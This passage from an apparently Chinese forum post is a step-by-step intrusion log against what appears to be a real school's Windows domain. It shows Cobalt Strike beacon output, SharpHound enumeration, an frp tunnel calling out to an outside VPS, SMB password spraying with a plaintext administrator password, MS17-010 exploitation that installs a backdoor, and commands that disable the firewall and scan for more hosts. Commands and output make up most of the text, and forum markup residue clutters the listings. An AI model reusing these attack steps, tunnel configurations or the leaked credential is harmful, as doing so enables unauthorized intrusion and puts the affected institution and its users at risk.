  46. OLDDATABASE[        DISCUZ_CODE_2237        ]nbsp;            PCSCRIBE-7[        DISCUZ_CODE_2237        ]nbsp;             PCTEACHER-100[        DISCUZ_CODE_2237        ]nbsp;         
  47. PE-3060[        DISCUZ_CODE_2237        ]nbsp;                PERSONNEL-3060[        DISCUZ_CODE_2237        ]nbsp;         PRINCIPAL[        DISCUZ_CODE_2237        ]nbsp;              
  48. PRINCIPAL-21[        DISCUZ_CODE_2237        ]nbsp;           PROGRAMER[        DISCUZ_CODE_2237        ]nbsp;              REGISTRAR-3070[        DISCUZ_CODE_2237        ]nbsp;         
  49. SCHOOL2003[        DISCUZ_CODE_2237        ]nbsp;             SCHOOL-3070[        DISCUZ_CODE_2237        ]nbsp;            SCHOOL-PC-01[        DISCUZ_CODE_2237        ]nbsp;           
  50. SCHOOL-PC-02[        DISCUZ_CODE_2237        ]nbsp;           SCHOOL-SYS[        DISCUZ_CODE_2237        ]nbsp;             SCHOOLWU-PC[        DISCUZ_CODE_2237        ]nbsp;            
  51. SE[        DISCUZ_CODE_2237        ]nbsp;                     SE7[        DISCUZ_CODE_2237        ]nbsp;                    SE-PC[        DISCUZ_CODE_2237        ]nbsp;                  
  52. SE-XP[        DISCUZ_CODE_2237        ]nbsp;                  ST-00[        DISCUZ_CODE_2237        ]nbsp;                  ST000[        DISCUZ_CODE_2237        ]nbsp;                  
  53. ST-000[        DISCUZ_CODE_2237        ]nbsp;                 ST50[        DISCUZ_CODE_2237        ]nbsp;                   ST50PC[        DISCUZ_CODE_2237        ]nbsp;                 
  54. STPC-01[        DISCUZ_CODE_2237        ]nbsp;                STPC-02[        DISCUZ_CODE_2237        ]nbsp;                STPC-03[        DISCUZ_CODE_2237        ]nbsp;               
  55. STPC-04[        DISCUZ_CODE_2237        ]nbsp;                STPC-05[        DISCUZ_CODE_2237        ]nbsp;                STPC-06[        DISCUZ_CODE_2237        ]nbsp;               
  56. STPC-07[        DISCUZ_CODE_2237        ]nbsp;                STPC-08[        DISCUZ_CODE_2237        ]nbsp;                STPC-09[        DISCUZ_CODE_2237        ]nbsp;               
  57. STPC-10[        DISCUZ_CODE_2237        ]nbsp;                STPC-11[        DISCUZ_CODE_2237        ]nbsp;                STPC-12[        DISCUZ_CODE_2237        ]nbsp;               
  58. STPC-13[        DISCUZ_CODE_2237        ]nbsp;                STPC-14[        DISCUZ_CODE_2237        ]nbsp;                STPC-15[        DISCUZ_CODE_2237        ]nbsp;               
  59. STPC-16[        DISCUZ_CODE_2237        ]nbsp;                STPC-17[        DISCUZ_CODE_2237        ]nbsp;                STPC-18[        DISCUZ_CODE_2237        ]nbsp;               
  60. STPC-19[        DISCUZ_CODE_2237        ]nbsp;                STPC-20[        DISCUZ_CODE_2237        ]nbsp;                STPC-21[        DISCUZ_CODE_2237        ]nbsp;               
  61. STPC-22[        DISCUZ_CODE_2237        ]nbsp;                STPC-23[        DISCUZ_CODE_2237        ]nbsp;                STPC-24[        DISCUZ_CODE_2237        ]nbsp;               
  62. STPC-25[        DISCUZ_CODE_2237        ]nbsp;                STPC-26[        DISCUZ_CODE_2237        ]nbsp;                STPC-27[        DISCUZ_CODE_2237        ]nbsp;               
  63. STPC-28[        DISCUZ_CODE_2237        ]nbsp;                STPC-29[        DISCUZ_CODE_2237        ]nbsp;                STPC-30[        DISCUZ_CODE_2237        ]nbsp;               
  64. STPC-31[        DISCUZ_CODE_2237        ]nbsp;                STPC-32[        DISCUZ_CODE_2237        ]nbsp;                STPC-33[        DISCUZ_CODE_2237        ]nbsp;               
  65. STPC-34[        DISCUZ_CODE_2237        ]nbsp;                STPC-35[        DISCUZ_CODE_2237        ]nbsp;                STPC-36[        DISCUZ_CODE_2237        ]nbsp;               
  66. STPC-37[        DISCUZ_CODE_2237        ]nbsp;                STPC-38[        DISCUZ_CODE_2237        ]nbsp;                STPC-39[        DISCUZ_CODE_2237        ]nbsp;               
  67. STPC-40[        DISCUZ_CODE_2237        ]nbsp;                STPC-41[        DISCUZ_CODE_2237        ]nbsp;                STPC-42[        DISCUZ_CODE_2237        ]nbsp;               
  68. STPC-43[        DISCUZ_CODE_2237        ]nbsp;                STPC-44[        DISCUZ_CODE_2237        ]nbsp;                STPC-45[        DISCUZ_CODE_2237        ]nbsp;               
  69. STPC-46[        DISCUZ_CODE_2237        ]nbsp;                STPC-47[        DISCUZ_CODE_2237        ]nbsp;                STPC-48[        DISCUZ_CODE_2237        ]nbsp;               
  70. STPC-49[        DISCUZ_CODE_2237        ]nbsp;                STPREPC[        DISCUZ_CODE_2237        ]nbsp;                STPRE-PC[        DISCUZ_CODE_2237        ]nbsp;               
  71. STUFILES[        DISCUZ_CODE_2237        ]nbsp;               SURVEILLANCE[        DISCUZ_CODE_2237        ]nbsp;           T1-WIN7[        DISCUZ_CODE_2237        ]nbsp;               
  72. TEACHER-WU[        DISCUZ_CODE_2237        ]nbsp;             TEST-WIN10-1[        DISCUZ_CODE_2237        ]nbsp;           TRYPC001[        DISCUZ_CODE_2237        ]nbsp;               
  73. VICE-DIRECTOR[        DISCUZ_CODE_2237        ]nbsp;          VICE-PRINCIPAL[        DISCUZ_CODE_2237        ]nbsp;         VIDEOSPIDER[        DISCUZ_CODE_2237        ]nbsp;            
  74. WEGO-DC3[        DISCUZ_CODE_2237        ]nbsp;               WEGO-DC4[        DISCUZ_CODE_2237        ]nbsp;               WIN101A[        DISCUZ_CODE_2237        ]nbsp;               
  75. WIN101B[        DISCUZ_CODE_2237        ]nbsp;                WIN101C[        DISCUZ_CODE_2237        ]nbsp;                WIN101D[        DISCUZ_CODE_2237        ]nbsp;               
  76. WIN103A[        DISCUZ_CODE_2237        ]nbsp;                WIN103B[        DISCUZ_CODE_2237        ]nbsp;                WIN103C[        DISCUZ_CODE_2237        ]nbsp;               
  77. WIN103D[        DISCUZ_CODE_2237        ]nbsp;                WIN103E[        DISCUZ_CODE_2237        ]nbsp;                WIN103F[        DISCUZ_CODE_2237        ]nbsp;               
  78. WIN104E[        DISCUZ_CODE_2237        ]nbsp;                WIN104F[        DISCUZ_CODE_2237        ]nbsp;                WIN105E[        DISCUZ_CODE_2237        ]nbsp;               
  79. WIN105F[        DISCUZ_CODE_2237        ]nbsp;                WIN106A[        DISCUZ_CODE_2237        ]nbsp;                WIN106B[        DISCUZ_CODE_2237        ]nbsp;               
  80. WIN106C[        DISCUZ_CODE_2237        ]nbsp;                WIN106D[        DISCUZ_CODE_2237        ]nbsp;                WIN106E[        DISCUZ_CODE_2237        ]nbsp;               
  81. WIN10ART12[        DISCUZ_CODE_2237        ]nbsp;             WIN10-ART12[        DISCUZ_CODE_2237        ]nbsp;            WIN10ART34[        DISCUZ_CODE_2237        ]nbsp;            
  82. WIN10ART56[        DISCUZ_CODE_2237        ]nbsp;             WIN10MULTI[        DISCUZ_CODE_2237        ]nbsp;             WIN10MUSIC34[        DISCUZ_CODE_2237        ]nbsp;           
  83. WIN10MUSIC56[        DISCUZ_CODE_2237        ]nbsp;           WIN10OFFICE01[        DISCUZ_CODE_2237        ]nbsp;          WIN10OFFICE02[        DISCUZ_CODE_2237        ]nbsp;         
  84. WIN10OFFICE03[        DISCUZ_CODE_2237        ]nbsp;          WIN10OFFICE04[        DISCUZ_CODE_2237        ]nbsp;          WIN10SCIENCE34[        DISCUZ_CODE_2237        ]nbsp;         
  85. WIN10SCIENCE56[        DISCUZ_CODE_2237        ]nbsp;         WIN7PROX86-01[        DISCUZ_CODE_2237        ]nbsp;          WIN7VM[        DISCUZ_CODE_2237        ]nbsp;                 
  86. WIN7VM-AP[        DISCUZ_CODE_2237        ]nbsp;              WU-TEACHING$
  87. beacon> shell C:\Windows\TAPI\SharpHound.exe -c all</li><li> Tasked beacon to run: C:\Windows\TAPI\SharpHound.exe -c all
  88. [+] host called home, sent: 68 bytes
  89. [+] received output:
  90. ------------------------------------------------
  91. Initializing SharpHound at 下午 03:37 on 2020/12/8
  92. ------------------------------------------------

  93. Resolved Collection Methods: Group, Sessions, LoggedOn, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container

  94. [+] Creating Schema map for domain xx.xx.x x.xx using path CN=Schema,CN=Configuration,DC=WGPS,DC=TP,DC=EDU,DC=TW
  95. [+] Cache File not Found: 0 Objects in cache

  96. [+] Pre-populating Domain Controller SIDS
  97. Status: 0 objects finished (+0) -- Using 19 MB RAM

  98. [+] received output:
  99. [+] Creating Schema map for domain 10.10.11.13 using path CN=Schema,CN=Configuration,DC=10,DC=10,DC=11,DC=13
  100. Status: 1528 objects finished (+1528 52.68966)/s -- Using 50 MB RAM

  101. [+] received output:
  102. Status: 1674 objects finished (+146 28.37288)/s -- Using 49 MB RAM

  103. [+] received output:
  104. Status: 1675 objects finished (+1 18.61111)/s -- Using 47 MB RAM

  105. [+] received output:
  106. Status: 1675 objects finished (+0 13.95833)/s -- Using 47 MB RAM

  107. [+] received output:
  108. Status: 1676 objects finished (+1 11.63889)/s -- Using 47 MB RAM
  109. Enumeration finished in 00:02:24.3737596
  110. Compressing data to .\20201208153758_BloodHound.zip
  111. You can upload this file directly to the UI

  112. SharpHound Enumeration Completed at 下午 03:40 on 2020/12/8! Happy Graphing!</li>
复制代码


内网代理搭建
一开始我使用的是cs的自带代理信息socks4,发现很不稳定,之后使用frp进行穿透。

服务端vps

  1. [common]
  2. bind_addr = 0.0.0.0
  3. dashboard_user = good
  4. dashboard_pwd = good
  5. dashboard_port = 7500
  6. bind_port = 7000
复制代码

访问vps:7500端口,也是可以看到图形界面。

目标靶机

配置frpc.ini

  1. [common]
  2. server_addr =1.1.1.1
  3. server_port = 7000

  4. [socks5]
  5. type = tcp
  6. remote_port = 60000
  7. plugin = socks5
  8. use_encryption = true
  9. use_compression = true
复制代码

上传frpc
  1. <li>beacon> upload /Users/apple/Documents/steady-sec/NW/frp/frpc_full.ini (C:\Windows\TAPI\frpc_full.ini)</li><li> Tasked beacon to upload /Users/apple/Documents/steady-sec/NW/frp/frpc_full.ini as C:\Windows\TAPI\frpc_full.ini
  2. [+] host called home, sent: 8402 bytes
  3. beacon> upload /Users/apple/Documents/steady-sec/NW/frp/frpc.ini (C:\Windows\TAPI\frpc.ini)</li><li> Tasked beacon to upload /Users/apple/Documents/steady-sec/NW/frp/frpc.ini as C:\Windows\TAPI\frpc.ini
  4. [+] host called home, sent: 195 bytes</li><li> Tasked beacon to upload /Users/apple/Documents/steady-sec/NW/frp/frpc as C:\Windows\TAPI\frpc</li>
复制代码


win10虚拟机中,使用Proxifier,配置代理。

之后使用任何软件,右键->roxifier->选择正确的代理。

拿下域控制器


批量口令碰撞445端口
查看开放445端口的主机
  1. beacon> shell C:\Windows\TAPI\fscan64.exe -h 10.10.10.1/24 -p 445
复制代码

本地挂代理使用fscan进行扫描

  1. fscan  -h 10.10.10.5 -p 445 -user Administrator -pwd jo6ek6vul3vm,6 -domain WEGO -np
复制代码

或者

  1. go run main.go -h 10.10.10.5 -p 445 -np -user Administrator -pwd jo6ek6vul3vm,6 -domain
  2. SMB:10.10.10.3:445:Administrator jo6ek6vul3vm,6 WEGO
  3. SMB:10.10.10.41:445:Administrator jo6ek6vul3vm,6 WEGO
  4. SMB:10.10.10.19:445:Administrator jo6ek6vul3vm,6 WEGO
  5. SMB:10.10.10.20:445:Administrator jo6ek6vul3vm,6 WEGO
  6. SMB:10.10.10.126:445:Administrator jo6ek6vul3vm,6 WEGO
  7. SMB:10.10.10.154:445:Administrator jo6ek6vul3vm,6 WEGO
  8. SMB:10.10.10.4:445:Administrator jo6ek6vul3vm,6 WEGO
  9. SMB:10.10.10.1:445:Administrator jo6ek6vul3vm,6 WEGO
  10. SMB:10.10.10.6:445:Administrator jo6ek6vul3vm,6 WEGO
  11. SMB:10.10.10.2:445:Administrator jo6ek6vul3vm,6 WEGO
  12. SMB:10.10.10.100:445:Administrator jo6ek6vul3vm,6 WEGO
  13. SMB:10.10.10.42:445:Administrator jo6ek6vul3vm,6 WEGO
  14. SMB:10.10.10.10:445:Administrator jo6ek6vul3vm,6 WEGO
  15. SMB:10.10.10.5:445:Administrator jo6ek6vul3vm,6 WEGO
复制代码


尝试登录域控制器3389。



批量扫描MS17010
  1. beacon> Ladon 10.10.10.8/24 MS17010
  2. [+] host called home, sent: 1036383 bytes
  3. [+] received output:
  4. Ladon 7.0
  5. Start: 2020-12-04 17:29:22
  6. Runtime: .net 4.0  OS Arch: x64
  7. OS Name: Microsoft Windows Server 2012 R2 Standard
  8. 10.10.10.8/24
  9. load MS17010
  10. 10.10.10.8/24 is Valid CIDR
  11. IPCound: 256
  12. Scan Start: 2020-12-04 17:29:22
  13. 10.10.10.1 MAIL xx.xx.x x.xx [Win 2012 R2 Standard 9600]
  14. 10.10.10.48 neweclient.xx.xx.x x.xx
  15. 10.10.10.34 workpc2019.xx.xx.x x.xx
  16. 10.10.10.20 FILES2 xx.xx.x x.xx [Win 2012 Standard 9200]
  17. 10.10.10.19 FILES2 xx.xx.x x.xx [Win 2012 Standard 9200]
  18. 10.10.10.5 DATABASE xx.xx.x x.xx [Win 2012 R2 Standard 9600]
  19. 10.10.10.42 account-7.xx.xx.x x.xx
  20. 10.10.10.46 account3050.xx.xx.x x.xx
  21. 10.10.10.38 dell7020b-36.xx.xx.x x.xx
  22. 10.10.10.8 WIN-XF2DOSIWBRF  [Win (R) 2008 Standard 6003 SP 2]
  23. 10.10.10.6 FILES xx.xx.x x.xx [Win 2012 Standard 9200]
  24. 10.10.10.9 WIN-XF2DOSIWBRF  [Win (R) 2008 Standard 6003 SP 2]
  25. 10.10.10.4 AD3 xx.xx.x x.xx [Win 2012 R2 Standard 9600]
  26. 10.10.10.17 CDTOWER17 xx.xx.x x.xx [??渀?漀?猀??攀?瘀攀???刀???  ???琀愀渀?愀????  ???攀?瘀?挀攀?倀愀挀欀??]
  27. 10.10.10.2 AD1 xx.xx.x x.xx [Win 2012 R2 Standard 9600]
  28. 10.10.10.39 ASUS-500G4-PC xx.xx.x x.xx [Win 7 Professional 7601 SP 1]
  29. 10.10.10.41 MS17-010 PCSCRIBE-7 xx.xx.x x.xx [Win 7 Professional 7601 SP 1]
  30. 10.10.10.3 AD2 xx.xx.x x.xx [Win 2012 R2 Standard 9600]
  31. 10.10.10.45 KG-JOOMLA  [Win 2008 R2 Standard 7601 SP 1]
  32. 10.10.10.35 2014JUINYIHWIN7  [Win 7 Professional 7601 SP 1]
  33. 10.10.10.22 ACADEMIC xx.xx.x x.xx [Win 7 Professional 7601 SP 1]
  34. 10.10.10.100 CARD100  [Win 7 Professional 7601 SP 1]
  35. 10.10.10.90 DFL-FILES2017  [Win 6.1]

  36. [+] received output:
  37. 10.10.10.10 MEDIA-DOME  [Win 6.1]

  38. [+] received output:
  39. 10.10.10.59 school-3070.xx.xx.x x.xx

  40. [+] received output:
  41. 10.10.10.115 3060-1e.xx.xx.x x.xx
  42. 10.10.10.126 3060-2f.xx.xx.x x.xx
  43. 10.10.10.142 win104b.xx.xx.x x.xx
  44. 10.10.10.154 3060-5d.xx.xx.x x.xx

  45. [+] received output:
  46. =============================================
  47. OnlinePC:34
  48. Cidr Scan Finished!
  49. End: 2020-12-04 17:30:06
复制代码

41这个IP有漏洞

  1. 10.10.10.41 MS17-010 PCSCRIBE-7 xx.xx.x x.xx [Win 7 Professional 7601 SP 1]
复制代码

使用工具进行利用
  1. <li>check.bat IP
  2. ms17010.bat IP +系统版本
  3. go.bat IP 位数
  4. C:\Users\good>cd C:\Users\good\Desktop\nw\ms17-010\

  5. C:\Users\good\Desktop\nw\ms17-010>check.bat 10.10.10.41
  6. [+] SMB Touch started
  7. </li><li> TargetIp              10.10.10.41</li><li> TargetPort            445</li><li> RedirectedTargetIp    (null)</li><li> RedirectedTargetPort  0</li><li> NetworkTimeout        60</li><li> Protocol              SMB</li><li> Credentials           Anonymous
  8. </li><li> Connecting to target...
  9.         [+] Initiated SMB connection

  10. [+] Target OS Version 6.1 build 7601
  11.     Windows 7 Professional 7601 Service Pack 1
  12. </li><li> Trying pipes...
  13.         [-] spoolss    - Not accessible (0xC0000022 - NtErrorAccessDenied)
  14.         [-] browser    - Not accessible (0xC0000022 - NtErrorAccessDenied)
  15.         [-] lsarpc     - Not accessible (0xC0000022 - NtErrorAccessDenied)
  16. [-] No pipes accessible

  17. [Not Supported]
  18.         ETERNALSYNERGY  - Target OS version not supported

  19. [Not Vulnerable]
  20.         ETERNALROMANCE  - Named pipe required for exploit

  21. [Vulnerable]
  22.         ETERNALBLUE     - DANE
  23.         ETERNALCHAMPION - DANE
  24. </li><li> Writing output parameters

  25. [+] Target is vulnerable to 2 exploits
  26. [+] Touch completed successfully


  27. C:\Users\good\Desktop\nw\ms17-010>MS17-010_.bat 10.10.10.41</li><li> MS17-010 Exploit // lu4n.com</li><li> Connecting to target for exploitation.
  28.     [+] Connection established for exploitation.</li><li> Pinging backdoor...
  29.     [+] Backdoor returned code: 10 - Success!
  30.     [+] Ping returned Target architecture: x86 (32-bit)
  31.     [+] Backdoor is already installed -- nothing to be done.</li><li> CORE sent serialized output blob (2 bytes):
  32. 0x00000000  08 01                                            ..</li><li> Received output parameters from CORE
  33. [+] CORE terminated with status code 0x00000000

  34. C:\Users\good\Desktop\nw\ms17-010>go.bat 10.10.10.41 64
  35. Architecture: 64 is not a valid value.

  36. Architecture: 64 is not a valid value.

  37. ^C终止批处理操作吗(Y/N)? y

  38. C:\Users\good\Desktop\nw\ms17-010>go.bat 10.10.10.41 x64
  39. [+] Selected Protocol SMB
  40. [.] Connecting to target...
  41. [+] Connected to target, pinging backdoor...
  42.         [+] Backdoor returned code: 10 - Success!
  43.         [+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0x894EDE86
  44.     SMB Connection string is: Windows 7 Professional 7601 Service Pack 1
  45.     Target OS is: 7 x86
  46.     Target SP is: 1
  47.         [+] Backdoor installed
  48.         [-] DLL Architecture is: 64 bit
  49. Error sending wrong architecture DLL to target
  50.         [-] DLL NOT built
  51. [+] Selected Protocol SMB
  52. [.] Connecting to target...
  53. [+] Connected to target, pinging backdoor...
  54.         [+] Backdoor returned code: 10 - Success!
  55.         [+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0x894EDE86
  56.     SMB Connection string is: Windows 7 Professional 7601 Service Pack 1
  57.     Target OS is: 7 x86
  58.     Target SP is: 1
  59.         [+] Backdoor installed
  60.         [-] DLL Architecture is: 64 bit
  61. Error sending wrong architecture DLL to target
  62.         [-] DLL NOT built

  63. C:\Users\good\Desktop\nw\ms17-010>go.bat 10.10.10.41 x86
  64. [+] Selected Protocol SMB
  65. [.] Connecting to target...
  66. [+] Connected to target, pinging backdoor...
  67.         [+] Backdoor returned code: 10 - Success!
  68.         [+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0x894EDE86
  69.     SMB Connection string is: Windows 7 Professional 7601 Service Pack 1
  70.     Target OS is: 7 x86
  71.     Target SP is: 1
  72.         [+] Backdoor installed
  73.         [+] DLL built
  74.         [.] Sending shellcode to inject DLL
  75.         [+] Backdoor returned code: 10 - Success!
  76.         [+] Backdoor returned code: 10 - Success!
  77.         [+] Backdoor returned code: 10 - Success!
  78.         [+] Backdoor returned code: 10 - Success!
  79.         [+] Backdoor returned code: 10 - Success!
  80.         [+] Backdoor returned code: 10 - Success!
  81.         [+] Backdoor returned code: 10 - Success!
  82.         [+] Backdoor returned code: 10 - Success!
  83.         [+] Backdoor returned code: 10 - Success!
  84.         [+] Backdoor returned code: 10 - Success!
  85.         [+] Backdoor returned code: 10 - Success!
  86.         [+] Backdoor returned code: 10 - Success!
  87.         [+] Command completed successfully</li>
复制代码

成功进入目标机器,本打算使用hta继续弹一个beacon给cs,但是尝试了几次不好使。

使用密码登录3389,但是没有登录成功,3389确实开启,这里关闭防火墙。

  1. C:\Windows\system32>netsh advfirewall set allprofiles state off
  2. netsh advfirewall set allprofiles state off
  3. Ok.
复制代码

成功连接,连接上去之后,发现有杀毒,信任beacon或者添加c盘信任。



同样的方式拿下3,2,4,41。



横向移动
  1. <li>good14 beacon> shell arp -a</li><li> Tasked beacon to run: arp -a
  2. [+] host called home, sent: 37 bytes
  3. [+] received output:

  4. 介面: 10.10.10.2 --- 0xc
  5.   网际网路网址          实体位址               类型
  6.   10.10.10.1            6c-2b-59-7f-1e-74     动态        
  7.   10.10.10.3            6c-2b-59-7f-1b-3c     动态        
  8.   10.10.10.4            00-0c-29-f7-4e-92     动态        
  9.   10.10.10.5            10-98-36-b0-ed-ad     动态        
  10.   10.10.10.6            18-03-73-2c-46-9d     动态        
  11.   10.10.10.8            00-0c-29-57-cd-5d     动态        
  12.   10.10.10.10           00-11-32-5c-f9-0a     动态        
  13.   10.10.10.11           00-10-18-06-09-eb     动态        
  14.   10.10.10.12           00-10-18-1a-8c-08     动态        
  15.   10.10.10.13           00-10-18-04-03-3c     动态        
  16.   10.10.10.14           00-10-18-1a-66-4e     动态        
  17.   10.10.10.17           00-0c-29-3c-30-ea     动态        
  18.   10.10.10.19           20-47-47-82-31-a0     动态        
  19.   10.10.10.20           20-47-47-82-31-a2     动态        
  20.   10.10.10.21           98-90-96-bc-4f-6c     动态        
  21.   10.10.10.22           98-90-96-bc-f2-09     动态        
  22.   10.10.10.23           98-90-96-bc-ed-92     动态        
  23.   10.10.10.25           18-66-da-2c-e0-de     动态        
  24.   10.10.10.26           54-bf-64-6f-68-46     动态        
  25.   10.10.10.27           e4-54-e8-92-95-f1     动态        
  26.   10.10.10.28           54-bf-64-6f-68-28     动态        
  27.   10.10.10.29           54-bf-64-6f-6b-04     动态        
  28.   10.10.10.30           88-d7-f6-ae-e4-01     动态        
  29.   10.10.10.33           e4-54-e8-92-9b-e7     动态        
  30.   10.10.10.35           74-d4-35-6f-bc-12     动态        
  31.   10.10.10.38           98-90-96-b6-ec-95     动态        
  32.   10.10.10.39           88-d7-f6-ae-e3-6b     动态        
  33.   10.10.10.41           98-90-96-b6-e6-e3     动态        
  34.   10.10.10.42           e4-54-e8-92-a5-68     动态        
  35.   10.10.10.44           18-03-73-ca-e4-5f     动态        
  36.   10.10.10.47           08-97-98-aa-b4-98     动态        
  37.   10.10.10.48           54-bf-64-6f-68-26     动态        
  38.   10.10.10.49           00-d0-17-70-c1-03     动态        
  39.   10.10.10.50           00-d0-17-70-c0-cc     动态        
  40.   10.10.10.51           42-08-5b-6a-25-29     动态        
  41.   10.10.10.56           78-45-c4-b9-b4-c6     动态        
  42.   10.10.10.61           18-66-da-2c-e5-7f     动态        
  43.   10.10.10.62           18-66-da-2d-04-25     动态        
  44.   10.10.10.63           18-66-da-2d-01-1c     动态        
  45.   10.10.10.65           20-47-47-25-a7-66     动态        
  46.   10.10.10.66           20-47-47-25-a7-58     动态        
  47.   10.10.10.68           20-47-47-25-a8-98     动态        
  48.   10.10.10.69           20-47-47-25-aa-37     动态        
  49.   10.10.10.72           54-bf-64-01-52-a0     动态        
  50.   10.10.10.75           d8-d0-90-1d-92-d8     动态        
  51.   10.10.10.78           d8-d0-90-1d-96-1c     动态        
  52.   10.10.10.80           d8-d0-90-1d-96-1b     动态        
  53.   10.10.10.82           10-7d-1a-0d-d5-1b     动态        
  54.   10.10.10.84           08-9e-01-f3-f8-be     动态        
  55.   10.10.10.85           f0-d4-e2-f7-62-83     动态        
  56.   10.10.10.89           08-00-37-f0-2d-71     动态        
  57.   10.10.10.90           00-11-32-aa-ab-42     动态        
  58.   10.10.10.91           54-bf-64-6f-6a-fe     动态        
  59.   10.10.10.95           64-00-6a-0b-f4-5c     动态        
  60.   10.10.10.100          00-0c-29-19-e7-fa     动态        
  61.   10.10.10.102          54-bf-64-6a-be-41     动态        
  62.   10.10.10.104          64-00-6a-0b-f0-11     动态        
  63.   10.10.10.105          64-00-6a-0b-76-a2     动态        
  64.   10.10.10.106          64-00-6a-0b-ed-89     动态        
  65.   10.10.10.111          6c-2b-59-f4-49-3b     动态        
  66.   10.10.10.114          54-bf-64-6a-be-12     动态        
  67.   10.10.10.116          54-bf-64-6f-6a-0c     动态        
  68.   10.10.10.117          ec-d6-8a-3f-ba-84     动态        
  69.   10.10.10.118          ec-d6-8a-4a-b2-19     动态        
  70.   10.10.10.121          54-bf-64-6a-c2-e7     动态        
  71.   10.10.10.126          54-bf-64-6a-be-4e     动态        
  72.   10.10.10.133          54-bf-64-6a-be-03     动态        
  73.   10.10.10.134          54-bf-64-6f-6a-0a     动态        
  74.   10.10.10.136          54-bf-64-6f-15-f7     动态        
  75.   10.10.10.142          54-bf-64-6a-bd-f0     动态        
  76.   10.10.10.143          54-bf-64-6a-c1-66     动态        
  77.   10.10.10.144          54-bf-64-6a-c1-47     动态        
  78.   10.10.10.145          54-bf-64-6f-14-e7     动态        
  79.   10.10.10.146          54-bf-64-6f-6a-03     动态        
  80.   10.10.10.152          54-bf-64-6f-6a-2a     动态        
  81.   10.10.10.154          54-bf-64-6f-6a-0e     动态        
  82.   10.10.10.155          54-bf-64-6a-be-04     动态        
  83.   10.10.10.156          54-bf-64-6f-6a-29     动态        
  84.   10.10.10.159          c0-8a-cd-5f-5b-47     动态        
  85.   10.10.10.160          ec-d6-8a-3f-ba-36     动态        
  86.   10.10.10.161          54-bf-64-6a-be-1f     动态        
  87.   10.10.10.162          54-bf-64-6f-14-4d     动态        
  88.   10.10.10.163          54-bf-64-6a-be-a5     动态        
  89.   10.10.10.164          54-bf-64-6f-14-57     动态        
  90.   10.10.10.165          54-bf-64-6a-be-40     动态        
  91.   10.10.10.166          54-bf-64-6a-c2-e4     动态        
  92.   10.10.10.175          54-bf-64-6f-69-f2     动态        
  93.   10.10.10.176          54-bf-64-6a-be-5a     动态        
  94.   10.10.10.179          54-bf-64-6a-be-16     动态        
  95.   10.10.10.180          54-bf-64-6f-14-79     动态        
  96.   10.10.10.182          54-bf-64-6a-bd-f2     动态        
  97.   10.10.10.192          18-03-73-2c-48-dc     动态        
  98.   10.10.10.195          54-bf-64-6f-16-96     动态        
  99.   10.10.10.196          e4-54-e8-92-9b-ac     动态        
  100.   10.10.10.231          24-31-84-28-4a-34     动态        
  101.   10.10.10.232          80-38-96-91-96-7d     动态        
  102.   10.10.10.250          28-84-fa-dc-d5-46     动态        
  103.   10.10.10.253          00-1d-aa-17-b1-40     动态        
  104.   10.10.10.254          00-50-7f-c7-d8-b0     动态        
  105.   10.10.11.6            18-03-73-21-70-71     动态        
  106.   10.10.11.13           84-8f-69-fa-49-74     动态        
  107.   10.10.11.17           00-0c-29-98-ae-8f     动态        
  108.   10.10.11.19           00-0c-29-a3-bf-27     动态        
  109.   10.10.11.20           00-1d-aa-89-9e-80     动态        
  110.   10.10.11.77           00-1d-aa-46-3d-60     动态        
  111.   10.10.11.100          18-66-da-2d-02-0c     动态        
  112.   10.10.11.102          48-4d-7e-d0-b6-18     动态        
  113.   10.10.11.103          18-66-da-37-91-7e     动态        
  114.   10.10.11.105          18-66-da-22-f1-db     动态        
  115.   10.10.11.106          48-4d-7e-de-2d-0c     动态        
  116.   10.10.11.107          50-9a-4c-3f-c5-82     动态        
  117.   10.10.11.110          50-9a-4c-40-aa-6f     动态        
  118.   10.10.11.111          54-bf-64-a3-d3-47     动态        
  119.   10.10.11.112          18-66-da-22-a7-d9     动态        
  120.   10.10.11.113          48-4d-7e-de-09-94     动态        
  121.   10.10.11.114          48-4d-7e-dd-00-3e     动态        
  122.   10.10.11.116          18-66-da-1f-64-db     动态        
  123.   10.10.11.117          48-4d-7e-f1-6c-8c     动态        
  124.   10.10.11.118          48-4d-7e-f1-30-ee     动态        
  125.   10.10.11.120          48-4d-7e-f1-2d-9e     动态        
  126.   10.10.11.121          18-66-da-22-f5-13     动态        
  127.   10.10.11.122          18-66-da-22-f3-1f     动态        
  128.   10.10.11.124          18-66-da-22-f4-7b     动态        
  129.   10.10.11.125          64-00-6a-76-3b-ce     动态        
  130.   10.10.11.127          48-4d-7e-e4-b7-1c     动态        
  131.   10.10.11.129          48-4d-7e-d1-ab-78     动态        
  132.   10.10.11.130          48-4d-7e-dd-32-d4     动态        
  133.   10.10.11.131          48-4d-7e-d1-5b-1e     动态        
  134.   10.10.11.133          18-66-da-22-f2-35     动态        
  135.   10.10.11.134          54-bf-64-a3-e0-63     动态        
  136.   10.10.11.135          64-00-6a-8d-47-cb     动态        
  137.   10.10.11.137          48-4d-7e-e3-e7-4b     动态        
  138.   10.10.11.138          18-66-da-22-f4-5d     动态        
  139.   10.10.11.140          48-4d-7e-df-84-bb     动态        
  140.   10.10.11.141          50-9a-4c-3f-ff-bd     动态        
  141.   10.10.11.142          18-66-da-22-ab-16     动态        
  142.   10.10.11.143          48-4d-7e-df-96-99     动态        
  143.   10.10.11.144          48-4d-7e-f2-4d-2d     动态        
  144.   10.10.11.147          48-4d-7e-cf-88-f4     动态        
  145.   10.10.11.148          64-00-6a-91-8b-ff     动态        
  146.   10.10.11.248          64-00-6a-5d-9d-c7     动态        
  147.   10.10.11.249          64-00-6a-74-a8-20     动态        
  148.   10.10.11.254          00-50-7f-e0-78-18     动态        
  149.   10.10.11.255          ff-ff-ff-ff-ff-ff     静态        
  150.   169.254.92.3          54-bf-64-20-66-1d     动态        
  151.   169.254.222.47        18-66-da-2c-e0-f1     动态        
  152.   224.0.0.2             01-00-5e-00-00-02     静态        
  153.   224.0.0.22            01-00-5e-00-00-16     静态        
  154.   224.0.0.251           01-00-5e-00-00-fb     静态        
  155.   224.0.0.252           01-00-5e-00-00-fc     静态        
  156.   239.254.1.2           01-00-5e-7e-01-02     静态        
  157.   239.255.102.18        01-00-5e-7f-66-12     静态        
  158.   239.255.255.250       01-00-5e-7f-ff-fa     静态</li>
复制代码


发现还有11个网段。
使用fcan扫描一下具体信息
